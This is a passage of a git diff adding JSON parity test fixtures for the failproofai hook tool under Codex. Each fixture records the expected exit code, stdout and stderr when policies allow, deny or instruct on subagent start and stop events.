"{\"hookSpecificOutput\":{\"hookEventName\":\"SubagentStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStart/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/SubagentStart/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..5c1bbfed --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStart/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SubagentStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStart/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/SubagentStart/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..eb212260 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStart/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SubagentStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStart/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/SubagentStart/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..bef955a8 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStart/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SubagentStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStop/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/SubagentStop/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..b0f39090 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStop/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStop/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/SubagentStop/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..109671ba --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStop/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStop/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/SubagentStop/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..ac87bcbf --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStop/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStop/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/SubagentStop/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..6e5c79ab --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStop/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStop/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/SubagentStop/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..acd2e574 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStop/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStop/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/SubagentStop/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..e124f6fb --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStop/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStop/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/SubagentStop/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..68fc044a --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStop/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStop/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/SubagentStop/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..a1993b59 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStop/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStop/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/SubagentStop/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..ba289e95 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStop/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStop/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/SubagentStop/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..6de36ce2 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStop/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStop/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/SubagentStop/deny__tool-present__one-policy.json new file mode 100644 index 00000000..eeafc107 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStop/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStop/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/SubagentStop/deny__tool-present__two-policies.json new file mode 100644 index 00000000..6588bacd --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStop/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStop/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/SubagentStop/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..f9bf4501 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStop/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStop/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/SubagentStop/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..00e9973f --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStop/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policies: parity/policy-1, parity/policy-2): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStop/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/SubagentStop/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..320d0bf3 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStop/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStop/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/SubagentStop/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..dd496ad1 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStop/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + 